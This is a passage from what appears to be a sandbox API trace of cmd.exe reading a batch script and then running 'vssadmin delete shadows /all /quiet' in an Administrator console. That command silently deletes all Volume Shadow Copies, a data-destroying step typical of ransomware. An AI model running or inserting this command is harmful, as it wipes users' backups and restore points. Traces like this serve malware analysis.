lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.903] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0032.903] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.903] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.903] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.903] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0032.903] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.903] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.903] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.903] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0032.903] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.903] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.903] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.903] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0032.903] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.903] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.903] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.903] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0032.903] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.903] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.903] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.903] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0032.903] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.903] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.903] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.904] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0032.904] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.904] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.904] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.904] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0032.904] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.904] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.904] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.904] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0032.904] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.904] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.904] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.904] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.904] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.904] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.904] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.904] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0032.904] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.904] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.904] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.904] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0032.904] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.904] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.904] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.904] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0032.904] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.904] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.905] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.905] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0032.905] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.905] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.905] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.905] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0032.905] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.905] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.905] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.905] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0032.905] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.905] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.905] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.905] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0032.905] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.905] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.905] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.905] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0032.905] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.905] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.905] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.905] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0032.905] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.905] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.905] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.905] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0032.906] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.906] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.906] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.906] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0032.906] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.906] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.906] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.906] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0032.906] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.906] GetFileType (hFile=0xe8) returned 0x3 [0032.906] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.906] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.906] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.906] GetFileType (hFile=0xf4) returned 0x3 [0032.906] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.906] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0032.906] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18fa08, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18fa08*=0x24, lpOverlapped=0x0) returned 1 [0032.906] GetProcessHeap () returned 0x290000 [0032.906] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4012) returned 0x2af630 [0032.907] GetProcessHeap () returned 0x290000 [0032.907] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2af630 | out: hHeap=0x290000) returned 1 [0032.907] GetProcessHeap () returned 0x290000 [0032.907] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0) returned 0x2a97e0 [0032.907] GetProcessHeap () returned 0x290000 [0032.907] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x22) returned 0x2a4610 [0032.907] GetProcessHeap () returned 0x290000 [0032.907] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x48) returned 0x2aaa90 [0032.907] GetConsoleOutputCP () returned 0x4e3 [0032.908] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4ac1bfe0 | out: lpCPInfo=0x4ac1bfe0) returned 1 [0032.908] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.908] GetConsoleTitleW (in: lpConsoleTitle=0x18f9c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.908] GetProcessHeap () returned 0x290000 [0032.908] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x2a9910 [0032.908] GetProcessHeap () returned 0x290000 [0032.908] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x5a) returned 0x2a9b30 [0032.908] GetProcessHeap () returned 0x290000 [0032.908] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x420) returned 0x2a9090 [0032.908] SetErrorMode (uMode=0x0) returned 0x0 [0032.908] SetErrorMode (uMode=0x1) returned 0x0 [0032.908] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2a90a0, lpFilePart=0x18f250 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f250*="Desktop") returned 0x25 [0032.908] SetErrorMode (uMode=0x0) returned 0x1 [0032.908] GetProcessHeap () returned 0x290000 [0032.908] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9090, Size=0x6e) returned 0x2a9090 [0032.908] GetProcessHeap () returned 0x290000 [0032.908] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9090) returned 0x6e [0032.908] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0032.909] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0032.909] GetProcessHeap () returned 0x290000 [0032.909] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x128) returned 0x2a5b70 [0032.909] GetProcessHeap () returned 0x290000 [0032.909] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x240) returned 0x291ab0 [0032.909] GetProcessHeap () returned 0x290000 [0032.909] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x291ab0, Size=0x12a) returned 0x291ab0 [0032.909] GetProcessHeap () returned 0x290000 [0032.909] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x291ab0) returned 0x12a [0032.909] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0032.909] GetProcessHeap () returned 0x290000 [0032.909] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xe8) returned 0x2a9db0 [0032.909] GetProcessHeap () returned 0x290000 [0032.909] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9db0, Size=0x7e) returned 0x2a9db0 [0032.909] GetProcessHeap () returned 0x290000 [0032.909] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9db0) returned 0x7e [0032.909] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.909] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0xffffffffffffffff [0032.909] GetLastError () returned 0x2 [0032.909] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0xffffffffffffffff [0032.909] GetLastError () returned 0x2 [0032.910] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.910] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0x2a9ba0 [0032.910] FindClose (in: hFindFile=0x2a9ba0 | out: hFindFile=0x2a9ba0) returned 1 [0032.910] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0xffffffffffffffff [0032.910] GetLastError () returned 0x2 [0032.910] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0x2a9ba0 [0032.910] FindClose (in: hFindFile=0x2a9ba0 | out: hFindFile=0x2a9ba0) returned 1 [0032.910] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0032.910] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0032.910] GetConsoleTitleW (in: lpConsoleTitle=0x18f510, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.911] GetProcessHeap () returned 0x290000 [0032.911] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x21c) returned 0x2a9110 [0032.911] GetConsoleTitleW (in: lpConsoleTitle=0x2a9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.911] GetProcessHeap () returned 0x290000 [0032.911] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9110, Size=0xc0) returned 0x2a9110 [0032.911] GetProcessHeap () returned 0x290000 [0032.911] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9110) returned 0xc0 [0032.911] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0032.911] GetProcessHeap () returned 0x290000 [0032.911] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9110 | out: hHeap=0x290000) returned 1 [0032.912] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f2c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f288 | out: lpAttributeList=0x18f2c8, lpSize=0x18f288) returned 1 [0032.912] UpdateProcThreadAttribute (in: lpAttributeList=0x18f2c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f278, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f2c8, lpPreviousValue=0x0) returned 1 [0032.912] GetStartupInfoW (in: lpStartupInfo=0x18f3e0 | out: lpStartupInfo=0x18f3e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0032.912] GetProcessHeap () returned 0x290000 [0032.912] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x20) returned 0x2a4640 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.912] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0032.913] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0032.913] _wcsnicmp 